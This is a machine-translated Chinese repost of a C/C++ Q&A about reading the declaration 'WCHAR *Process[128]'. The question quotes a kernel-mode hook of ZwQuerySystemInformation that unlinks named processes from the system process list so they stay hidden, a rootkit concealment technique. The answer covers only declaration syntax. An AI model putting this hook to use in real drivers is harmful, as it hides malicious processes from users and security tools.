[英]Looping through an Array Pointer?
我對C ++不是很熟悉,而且我正在閱讀一些代碼,並想知道這是有道理的......
WCHAR *Process[128];
for(i=0; i<Process; i++)
我看到一個指向wchar數組的指針,你怎么能循環呢? 它會循環遍歷整個陣列嗎?
這是整個代碼:
WCHAR *ProcessToHide[128];
ULONG NbProcessToHide=0;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformationAddress = NULL;
LONGLONG UserTime=0, KernelTime=0;
NTSTATUS ZwQuerySystemInformationHook(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS status;
PSYSTEM_PROCESS_INFORMATION curr;
PSYSTEM_PROCESS_INFORMATION prev;
ULONG i;
status = ((ZWQUERYSYSTEMINFORMATION)(ZwQuerySystemInformationAddress)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( !NT_SUCCESS(status) )
return status;
if(SystemInformationClass!=5) // not a process request
return status;
for(i=0; i<NbProcessToHide; i++) {
curr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
prev = NULL;
while(curr) {
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL) {
if( curr->ProcessName.Length == wcslen(ProcessToHide[i])*2 &&
!memcmp(curr->ProcessName.Buffer,ProcessToHide[i], curr->ProcessName.Length))
{
if(!prev) {
// we are first process
if(curr->NextEntryDelta) // if there is a process after it
// first process becomes this one
(PBYTE)SystemInformation += curr->NextEntryDelta;
else
// no process ! >_>
SystemInformation = NULL;
}
else {
// there was a process before
if(curr->NextEntryDelta) // if there is a process after
// previous process leads to next
prev->NextEntryDelta += curr->NextEntryDelta;
else
// previous process is the last one =)
prev->NextEntryDelta = 0;
}
}
else
// not a process to hide, prev ptr go to this process
prev = curr;
}
// curr go to next process
if(curr->NextEntryDelta)
((PBYTE)curr += curr->NextEntryDelta);
else
curr = NULL;
}
}
WCHAR *Process[128];
它不是指向WCHAR
數組的指針,它是一個WCHAR
指針數組(可能是字符串)。
您可能想閱讀Reading C聲明 。
例2:char * argv [];
第1步,寫“聲明argv為”。 第2步,向右排列。 第3步,寫“數組”。 第4步,指向左側。 第5步,寫“指針”。 第6步,完成申報。 第7步,寫“char”。 停止。
聲明是:“將argv聲明為指向char的指針數組”。 請注意,它不是指向char數組的指針。 數組描述符優先於指針描述符,並首先讀取。
i
和NbProcessToHide
可以進行比較,因為它們都是ULONG
。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.